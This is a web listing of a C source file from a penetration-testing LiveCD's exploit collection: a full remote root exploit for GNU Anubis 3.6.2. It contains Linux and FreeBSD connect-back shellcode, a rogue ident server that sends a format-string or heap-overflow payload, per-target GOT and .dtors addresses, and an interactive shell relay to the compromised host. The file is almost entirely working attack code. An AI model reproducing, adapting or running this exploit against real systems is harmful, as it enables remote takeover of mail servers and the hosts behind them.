home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / anubis / anubisRootExploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  17KB  |  672 lines
  1. /*
  2.  * anubisexp.c
  3.  *
  4.  * GNU Anubis 3.6.2 remote root exploit by CMN
  5.  *
  6.  * <cmn at darklab.org>, <cmn at 0xbadc0ded.org>
  7.  * Bug found by Ulf Harnhammar.
  8.  *
  9.  * 2004-03-10
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <unistd.h>
  15. #include <signal.h>
  16. #include <string.h>
  17. #include <netdb.h>
  18. #include <errno.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <sys/param.h>
  22. #include <sys/wait.h>
  23. #include <sys/select.h>
  24. #include <netinet/in.h>
  25. #include <arpa/inet.h>
  26.  
  27. #define DUMMY            0x41414141
  28. #define BUFSIZE          512
  29. #define AUTH_PORT        113
  30. #define ANUBIS_PORT      24
  31. #define IP_INDEX         5
  32. #define PORT_INDEX       11
  33.  
  34. #define PREV_INUSE       0x1
  35. #define IS_MMAP          0x2
  36. #define NON_MAIN_ARENA   0x4
  37. #define FMTSTR           0x1
  38. #define OVERFLOW         0x2
  39.  
  40. #define JMPCODE          "\xeb\x0c"
  41.  
  42. static int connect_target = 0;
  43. static int start_auth = 0;
  44.  
  45.     /* Connect back */
  46. static char linux_code[] =
  47.     "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb0\x02"
  48.     "\x66\x50\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43"
  49.     "\x30\xe4\xb0\x66\xcd\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\xb3"
  50.     "\x03\xb0\x66\xcd\x80\x89\xeb\x31\xc9\x31\xc0\xb0\x3f\xcd\x80"
  51.     "\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f"
  52.     "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
  53.     "\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
  54.  
  55.     /* Connect back */
  56. static char freebsd_code[] =
  57.     "\x31\xc0\x50\x50\x68\xc0\xa8\x01\x01\x66\x68\x30\x39\xb4\x02"
  58.     "\x66\x50\x89\xe2\x66\x31\xc0\x50\x40\x50\x40\x50\x50\x30\xe4"
  59.     "\xb0\x61\xcd\x80\x89\xc7\x31\xc0\xb0\x10\x50\x52\x57\x50\xb0"
  60.     "\x62\xcd\x80\x50\x57\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x57\x50"
  61.     "\x83\xc0\x59\xcd\x80\xb0\x02\x50\x57\x50\x83\xc0\x58\xcd\x80"
  62.     "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
  63.     "\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x40"
  64.     "\x50\x50\xcd\x80";
  65.  
  66. struct target {
  67.     char type;
  68.     char *desc;
  69.     char *code;
  70.     u_int bufaddr;  /* static buf on line 266 in net.c, used by recv() */
  71.     u_int retloc;
  72.     u_int offset;
  73.     u_int written;
  74.     u_int pad;
  75. };
  76.  
  77.  
  78. struct target targets[] = {
  79.     /* .GOT free */
  80.     { OVERFLOW, "Linux anubis-3.6.2-1.i386.rpm [glibc < 3.2.0] (overflow)",
  81.         linux_code, 0x08056520, 0x08056464, 305, 0x00, 0x00 },
  82.  
  83.     /* .GOT strlen */
  84.     { FMTSTR, "Linux anubis-3.6.2-1.i386.rpm (fmt, verbose)", linux_code,
  85.         0x08056520, 0x080563bc, 10*4, 32, 1 },
  86.  
  87.     /* .dtors */
  88.     { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt)", freebsd_code,
  89.         0x805db80, 0x0805cc10+4, 12*4, 20, 1 },
  90.  
  91.     /* .GOT getpwnam */
  92.     { FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt, verbose)", freebsd_code,
  93.         0x805db80, 0x0805ce18, 15*4, 32, 1 },
  94.  
  95.     { -1, NULL, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
  96. };
  97.  
  98.  
  99. int
  100. sock_connect(u_long ip, u_short port)
  101. {
  102.     struct sockaddr_in taddr;
  103.     int sock_fd;
  104.  
  105.     memset(&taddr, 0x00, sizeof(struct sockaddr_in));
  106.     taddr.sin_addr.s_addr = ip;
  107.     taddr.sin_port = port;
  108.     taddr.sin_family = AF_INET;
  109.  
  110.     if ( (sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  111.         perror("** socket()");
  112.         return(-1);
  113.     }
  114.  
  115.     if (connect(sock_fd, (struct sockaddr *)&taddr,
  116.             sizeof(taddr)) < 0) {
  117.         perror("** connect()");
  118.         return(-1);
  119.     }
  120.     return(sock_fd);
  121. }
  122.  
  123.  
  124. long
  125. net_inetaddr(u_char *host)
  126. {
  127.     long haddr;
  128.     struct hostent *hent;
  129.  
  130.     if ( (haddr = inet_addr(host)) < 0) {
  131.         if ( (hent = gethostbyname(host)) == NULL)
  132.             return(-1);
  133.  
  134.         memcpy(&haddr, (hent->h_addr), 4);
  135.     }
  136.     return(haddr);
  137. }
  138.  
  139. long
  140. net_localip(void)
  141. {
  142.     u_char lname[MAXHOSTNAMELEN +1];
  143.     struct in_addr addr;
  144.     memset(lname, 0x00, sizeof(lname));
  145.  
  146.     if ( gethostname(lname, MAXHOSTNAMELEN) < 0)
  147.         return(-1);
  148.  
  149.     addr.s_addr = net_inetaddr(lname);
  150.     return(addr.s_addr);
  151. }
  152.  
  153.  
  154. char *
  155. unlinkchunk(u_int ret, u_int retloc, size_t words)
  156. {
  157.     u_int *chunk;
  158.     size_t i=0;
  159.  
  160.     if (words < 14) {
  161.         fprintf(stderr, "unlinkchunk(): Small buffer\n");
  162.         return(NULL);
  163.     }
  164.  
  165.     if ( (chunk = calloc(words*sizeof(u_int)+1, 1)) == NULL) {
  166.         perror("calloc()");
  167.         return(NULL);
  168.     }
  169.  
  170.     chunk[i++] = -4;
  171.     chunk[i++] = -4;
  172.     chunk[i++] = -4;
  173.     chunk[i++] = ret;
  174.     chunk[i++] = retloc-8;
  175.  
  176.     chunk[i++] = -4;
  177.     chunk[i++] = -4;
  178.     chunk[i++] = -4;
  179.     chunk[i++] = ret;
  180.     chunk[i++] = retloc-8;
  181.  
  182.     for (; i<words; i++) {
  183.  
  184.         /* Relative negative offset to first chunk */
  185.         if (i % 2)
  186.             chunk[i] = ((-(i-8)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
  187.         /* Relative negative offset to second chunk */
  188.         else
  189.             chunk[i] = ((-(i-3)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
  190.     }
  191.     return((char *)chunk);
  192. }
  193.  
  194. int
  195. mkfmtstr(struct target *tgt, u_int ret,
  196.         char *buf, size_t buflen)
  197. {
  198.     size_t pad;
  199.     size_t espoff;
  200.     size_t written;
  201.     int tmp;
  202.     int wb;
  203.     int i;
  204.  
  205.     if (buflen < 50) {
  206.         fprintf(stderr, "mkfmtstr(): small buffer\n");
  207.         return(-1);
  208.     }
  209.     memset(buf, 'P', tgt->pad % 4);
  210.     buf += tgt->pad % 4;
  211.     written = tgt->written;
  212.  
  213.     /* Add dummy/retloc pairs */
  214.     *(u_long *)buf = DUMMY;
  215.     *(u_long *)(buf +4) = tgt->retloc;
  216.     buf += 8;
  217.     *(u_long *)buf = DUMMY;
  218.     *(u_long *)(buf +4) = tgt->retloc+1;
  219.     buf += 8;
  220.     *(u_long *)buf = DUMMY;
  221.     *(u_long *)(buf +4) = tgt->retloc+2;
  222.     buf += 8;
  223.     *(u_long *)buf = DUMMY;
  224.     *(u_long *)(buf +4) = tgt->retloc+3;
  225.     buf += 8;
  226.     buflen -= 32;
  227.     written += 32;
  228.  
  229.     /* Stackpop */
  230.     for (espoff = tgt->offset; espoff > 0; espoff -= 4) {
  231.         snprintf(buf, buflen, "%%08x");
  232.         buflen -= strlen("%08x");
  233.         buf += strlen("%08x");
  234.         written += 8;
  235.     }
  236.  
  237.     /* Return address */
  238.     for (i=0; i<4; i++) {
  239.         wb = ((u_char *)&ret)[i] + 0x100;
  240.         written %= 0x100;
  241.         pad = (wb - written) % 0x100;
  242.         if (pad < 10)
  243.                 pad += 0x100;
  244.         tmp = snprintf(buf, buflen,
  245.             "%%%du%%n", pad);
  246.         written += pad;
  247.         buflen -= tmp;
  248.         buf += tmp;
  249.     }
  250.  
  251.     return(buflen >= 0 ? written : -1);
  252. }
  253.  
  254.  
  255. int
  256. evil_auth(u_short port, char *ident, size_t identlen)
  257. {
  258.     struct sockaddr_in client;
  259.     struct sockaddr_in laddr;
  260.     u_int addrlen = sizeof(struct sockaddr_in);
  261.     int lsock, csock;
  262.     char input[128];
  263.  
  264.     if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  265.         perror("** socket()");
  266.         return(-1);
  267.     }
  268.  
  269.     memset(&laddr, 0x00, sizeof(struct sockaddr_in));
  270.     laddr.sin_family = AF_INET;
  271.     laddr.sin_port = port;
  272.     laddr.sin_addr.s_addr = INADDR_ANY;
  273.  
  274.     if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
  275.         perror("** bind()");
  276.         return(-1);
  277.     }
  278.  
  279.     if (listen(lsock, 1) < 0) {
  280.         perror("** listen()");
  281.         return(-1);
  282.     }
  283.  
  284.     printf("[*] Awaiting auth connection\n");
  285.     if ( (csock = accept(lsock, (struct sockaddr *)&client,
  286.             &addrlen)) < 0) {
  287.         fprintf(stderr, "** Connection error\n");
  288.         return(-1);
  289.     }
  290.  
  291.     if (getpeername(csock, (struct sockaddr *)&client, &addrlen) < 0)
  292.         perror("** getpeername()");
  293.     else
  294.         printf("[*] %s:%u connected to auth\n",
  295.             inet_ntoa(client.sin_addr), ntohs(client.sin_port));
  296.  
  297.     if (read(csock, input, sizeof(input)) <= 0) {
  298.         perror("** write()");
  299.         return(1);
  300.     }
  301.  
  302.     printf("[*] Sending evil ident\n");
  303.  
  304.     if (write(csock, ident, identlen) != identlen) {
  305.         perror("** write()");
  306.         return(1);
  307.     }
  308.  
  309.     if (close(csock) < 0 || close(lsock < 0)) {
  310.         perror("** close()");
  311.         return(1);
  312.     }
  313.  
  314.     return(0);
  315. }
  316.  
  317. void
  318. signal_handler(int signo)
  319. {
  320.     if (signo == SIGUSR1) {
  321.         start_auth++;
  322.         connect_target++;
  323.     }
  324.     else if (signo == SIGALRM) {
  325.         fprintf(stderr, "** Timed out while waiting for connect back\n");
  326.         kill(0, SIGTERM);
  327.         exit(EXIT_FAILURE);
  328.     }
  329. }
  330.  
  331.  
  332. int
  333. get_connectback(pid_t conn, int lsock)
  334. {
  335.     char inbuf[8192];
  336.     u_int addrlen = sizeof(struct sockaddr_in);
  337.     struct sockaddr_in client;
  338.     int csock;
  339.     fd_set readset;
  340.     ssize_t n;
  341.     int nfd;
  342.  
  343.     if (listen(lsock, 1) < 0) {
  344.         perror("** listen()");
  345.         return(-1);
  346.     }
  347.  
  348.     /* Timeout */
  349.     signal(SIGALRM, signal_handler);
  350.     alarm(5);
  351.  
  352.     /* Signal connect */
  353.     kill(conn, SIGUSR1);
  354.     waitpid(conn, NULL, 0);
  355.  
  356.     printf("[*] Awaiting connect back\n");
  357.     if ( (csock = accept(lsock, (struct sockaddr *)&client,
  358.             &addrlen)) < 0) {
  359.         fprintf(stderr, "** Connection error\n");
  360.         return(-1);
  361.     }
  362.     alarm(0);
  363.     printf("[*] Target connected back\n\n");
  364.     wait(NULL); /* Reap of last child */
  365.     write(csock, "id\n", 3);
  366.  
  367.     if ( (nfd = csock +1) > FD_SETSIZE) {
  368.         fprintf(stderr, "** SASH Error: FD_SETSIZE to small!\r\n");
  369.         return(1);
  370.     }
  371.  
  372.     FD_ZERO(&readset);
  373.     FD_SET(csock, &readset);
  374.     FD_SET(STDIN_FILENO, &readset);
  375.  
  376.     for (;;) {
  377.         fd_set readtmp;
  378.         memcpy(&readtmp, &readset, sizeof(readtmp));
  379.         memset(inbuf, 0x00, sizeof(inbuf));
  380.  
  381.         if (select(nfd, &readtmp, NULL, NULL, NULL) < 0) {
  382.             if (errno == EINTR)
  383.                 continue;
  384.             perror("select()");
  385.             return(1);
  386.         }
  387.  
  388.         if (FD_ISSET(STDIN_FILENO, &readtmp)) {
  389.             if ( (n = read(STDOUT_FILENO, inbuf, sizeof(inbuf))) < 0) {
  390.                 perror("read()");
  391.                 break;
  392.             }
  393.             if (n == 0) break;
  394.             if (write(csock, inbuf, n) != n) {
  395.                 perror("write()");
  396.                 return(1);
  397.             }
  398.         }
  399.  
  400.         if (FD_ISSET(csock, &readtmp)) {
  401.             if ( (n = read(csock, inbuf, sizeof(inbuf))) < 0) {
  402.                 perror("read()");
  403.                 break;
  404.             }
  405.             if (n == 0) break;
  406.             if (write(STDOUT_FILENO, inbuf, n) != n) {
  407.                 perror("write()");
  408.                 return(1);
  409.             }
  410.         }
  411.     }
  412.     return(0);
  413. }
  414.  
  415.  
  416. void
  417. usage(char *pname)
  418. {
  419.     int i;
  420.  
  421.     printf("\nUsage: %s host[:port] targetID [Option(s)]\n", pname);
  422.     printf("\n  Targets:\n");
  423.     for (i=0; targets[i].desc != NULL; i++)
  424.         printf("     %d   -   %s\n", i, targets[i].desc);
  425.     printf("\n  Options:\n");
  426.     printf("    -b ip[:port]  - Local connect back address\n");
  427.     printf("    -l retloc     - Override target retloc\n");
  428.     printf("    -r ret        - Override target ret\n");
  429.     printf("    -w written    - Bytes written by target fmt func\n");
  430.     printf("\n");
  431. }
  432.  
  433.  
  434. int
  435. main(int argc, char *argv[])
  436. {
  437.     u_char buf[BUFSIZE+1];
  438.     u_char fmt[220];
  439.     char *chunk = NULL;
  440.     struct sockaddr_in taddr;
  441.     struct sockaddr_in laddr;
  442.     u_short auth_port;
  443.     struct target *tgt;
  444.     pid_t pid1, pid2;
  445.     u_int ret = 0;
  446.     int lsock;
  447.     char *pt;
  448.     int i;
  449.  
  450.  
  451.     printf("\n     GNU Anubis 3.6.2 remote root exploit by CMN\n");
  452.     if (argc < 3) {
  453.         usage(argv[0]);
  454.         exit(EXIT_FAILURE);
  455.     }
  456.     printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  457.  
  458.     memset(&taddr, 0x00, sizeof(struct sockaddr_in));
  459.     taddr.sin_port = htons(ANUBIS_PORT);
  460.     taddr.sin_family = AF_INET;
  461.     taddr.sin_addr.s_addr = INADDR_ANY;
  462.     auth_port = htons(AUTH_PORT);
  463.  
  464.     memset(&laddr, 0x00, sizeof(struct sockaddr_in));
  465.     laddr.sin_family = AF_INET;
  466.     laddr.sin_port = 0;
  467.     laddr.sin_addr.s_addr = net_localip();
  468.  
  469.     if ( (pt = strchr(argv[1], ':'))) {
  470.         *pt++ = '\0';
  471.         taddr.sin_port = htons((u_short)strtoul(pt, NULL, 0));
  472.     }
  473.  
  474.     if ( (long)(taddr.sin_addr.s_addr = net_inetaddr(argv[1])) == -1) {
  475.         fprintf(stderr, "Failed to resolve target host/IP\"%s\"\n",
  476.             argv[1]);
  477.          exit(EXIT_FAILURE);
  478.     }
  479.     argv++;
  480.     argc--;
  481.  
  482.     i = strtoul(argv[1], NULL, 0);
  483.     if (argv[1][0] == '-'|| (i<0) ||
  484.              i>= sizeof(targets)/sizeof(struct target)-1) {
  485.         fprintf(stderr, "** Bad target ID\n");
  486.         exit(EXIT_FAILURE);
  487.     }
  488.     argv++;
  489.     argc--;
  490.  
  491.     tgt = &targets[i];
  492.  
  493.     while ( (i = getopt(argc, argv, "r:l:w:b:")) != -1) {
  494.         switch(i) {
  495.             case 'b': {
  496.  
  497.                 if ( (pt = strchr(optarg, ':'))) {
  498.                     *pt++ = '\0';
  499.                     laddr.sin_port = htons((u_short)strtoul(optarg,
  500.                         NULL, 0));
  501.                 }
  502.  
  503.                 if ( (long)(laddr.sin_addr.s_addr = net_inetaddr(optarg))
  504.                         == -1) {
  505.                     fprintf(stderr, "Failed to resolve target host/IP
  506.                         \"%s\"\n", optarg);
  507.                     exit(EXIT_FAILURE);
  508.                 }
  509.             }
  510.             case 'r': ret = strtoul(optarg, NULL, 0); break;
  511.             case 'l': tgt->retloc = strtoul(optarg, NULL, 0); break;
  512.             case 'w': tgt->written = strtoul(optarg, NULL, 0); break;
  513.             default: exit(EXIT_FAILURE);
  514.         }
  515.     }
  516.  
  517.  
  518.     /* Local address */
  519.     if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  520.         perror("** socket()");
  521.         exit(EXIT_FAILURE);
  522.     }
  523.  
  524.     if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
  525.         perror("** bind()");
  526.         exit(EXIT_FAILURE);
  527.     }
  528.  
  529.     /* Connect back address */
  530.     {
  531.         int len = sizeof(struct sockaddr_in);
  532.         struct sockaddr_in paddr;
  533.         if (getsockname(lsock, (struct sockaddr *)&paddr, &len) < 0) {
  534.             perror("** getsockname()");
  535.             exit(EXIT_FAILURE);
  536.         }
  537.         (*(u_short *)&tgt->code[PORT_INDEX]) = paddr.sin_port;
  538.         (*(u_int *)&tgt->code[IP_INDEX]) = paddr.sin_addr.s_addr;
  539.  
  540.         printf("local addr: %s:%u\n", inet_ntoa(paddr.sin_addr),
  541.             ntohs(paddr.sin_port));
  542.  
  543.         if (!(paddr.sin_port & 0xff00) || !(paddr.sin_port & 0xff00) ||
  544.             !(paddr.sin_addr.s_addr & 0xff000000) ||
  545.             !(paddr.sin_addr.s_addr & 0x00ff0000) ||
  546.             !(paddr.sin_addr.s_addr & 0x0000ff00) ||
  547.             !(paddr.sin_addr.s_addr & 0x000000ff)) {
  548.             fprintf(stderr, "** Zero byte(s) in connect back address\n");
  549.             exit(EXIT_FAILURE);
  550.         }
  551.     }
  552.  
  553.     /*
  554.      * We insert a '\n' to control the size of the data
  555.      * passed on the the vulnerable function.
  556.      * But all 512 bytes are read into a static buffer, so we
  557.      * just add the shellcode after '\n' to store it.
  558.      */
  559.     if (tgt->type == FMTSTR) {
  560.         if (!ret)
  561.             ret = tgt->bufaddr+260;
  562.  
  563.         if (mkfmtstr(tgt, ret, fmt, sizeof(fmt)) < 0)
  564.             exit(EXIT_FAILURE);
  565.         memset(buf, 0x90, sizeof(buf));
  566.         memcpy(&buf[BUFSIZE-strlen(tgt->code)-4],
  567.             tgt->code, strlen(tgt->code)+1);
  568.         i = snprintf(buf, sizeof(buf), "a: USERID: a: %s\n", fmt);
  569.         if (buf[i] == '\0') buf[i] = 0x90;
  570.     }
  571.     else {
  572.  
  573.         if (!ret)
  574.             ret = tgt->bufaddr+tgt->offset+24;
  575.         memset(buf, 0x90, sizeof(buf));
  576.  
  577.         memcpy(&buf[sizeof(buf)-strlen(tgt->code)-4],
  578.             tgt->code, strlen(tgt->code)+1);
  579.  
  580.         if ( (chunk = unlinkchunk(ret, tgt->retloc, 64/4)) == NULL)
  581.             exit(EXIT_FAILURE);
  582.  
  583.         i = snprintf(buf, sizeof(buf), "a: USERID: a:   %s", chunk);
  584.         if (buf[i] == '\0') buf[i] = 0x90;
  585.  
  586.         /* Set free address */
  587.         *((u_int *)&buf[tgt->offset]) = tgt->bufaddr + 68;
  588.  
  589.         /* Return point */
  590.         memcpy(&buf[(tgt->offset+24)], JMPCODE, sizeof(JMPCODE)-1);
  591.         buf[tgt->offset+4] = '\n';
  592.     }
  593.  
  594.     printf("    Target: %s\n", tgt->desc);
  595.     printf("    Return: 0x%08x\n", ret);
  596.     printf("    Retloc: 0x%08x\n", tgt->retloc);
  597.     if (tgt->type == FMTSTR) {
  598.         printf("    offset: %u bytes%s\n", tgt->offset,
  599.             tgt->offset==1?"s":"");
  600.         printf("   Padding: %u byte%s\n", tgt->pad,
  601.             tgt->pad==1?"s":"");
  602.         printf("   Written: %u byte%s\n", tgt->written,
  603.             tgt->written==1?"s":"");
  604.     }
  605.     printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
  606.  
  607.     if (!(ret & 0xff000000) ||
  608.         !(ret & 0x00ff0000) ||
  609.         !(ret & 0x0000ff00) ||
  610.         !(ret & 0x000000ff)) {
  611.  
  612.         fprintf(stderr, "** Zero byte(s) in return address\n");
  613.         exit(EXIT_FAILURE);
  614.     }
  615.  
  616.     if (!(tgt->retloc & 0xff000000) ||
  617.         !(tgt->retloc & 0x00ff0000) ||
  618.         !(tgt->retloc & 0x0000ff00) ||
  619.         !(tgt->retloc & 0x000000ff)) {
  620.  
  621.         fprintf(stderr, "** Zero byte(s) in retloc\n");
  622.         exit(EXIT_FAILURE);
  623.     }
  624.  
  625.     signal(SIGUSR1, signal_handler);
  626.  
  627.     if ( (pid1 = fork()) < 0) {
  628.         perror("** fork()");
  629.         exit(EXIT_FAILURE);
  630.     }
  631.  
  632.     /* Auth server */
  633.     if (pid1 == 0) {
  634.         kill(getppid(), SIGUSR1);
  635.         signal(SIGUSR1, signal_handler);
  636.         while (!start_auth);
  637.         if (evil_auth(auth_port, buf, strlen(buf)) != 0)
  638.             kill(getppid(), SIGTERM);
  639.             exit(EXIT_SUCCESS);
  640.     }
  641.  
  642.     if ( (pid2 = fork()) < 0) {
  643.         perror("** fork()");
  644.         kill(pid1, SIGTERM);
  645.         exit(EXIT_FAILURE);
  646.     }
  647.  
  648.     /* Connect to trigger */
  649.     if (pid2 == 0) {
  650.         int anubis_sock;
  651.  
  652.         signal(SIGUSR1, signal_handler);
  653.         while (!connect_target);
  654.         if ( (anubis_sock = sock_connect(taddr.sin_addr.s_addr,
  655.                 taddr.sin_port)) < 0) {
  656.             exit(EXIT_FAILURE);
  657.         }
  658.         exit(EXIT_SUCCESS);
  659.     }
  660.  
  661.     /* Start auth */
  662.     while(!start_auth);
  663.     kill(pid1, SIGUSR1);
  664.  
  665.     if (get_connectback(pid2, lsock) < 0) {
  666.         kill(0, SIGTERM);
  667.         exit(EXIT_FAILURE);
  668.     }
  669.  
  670.     exit(EXIT_SUCCESS);
  671. }
  672.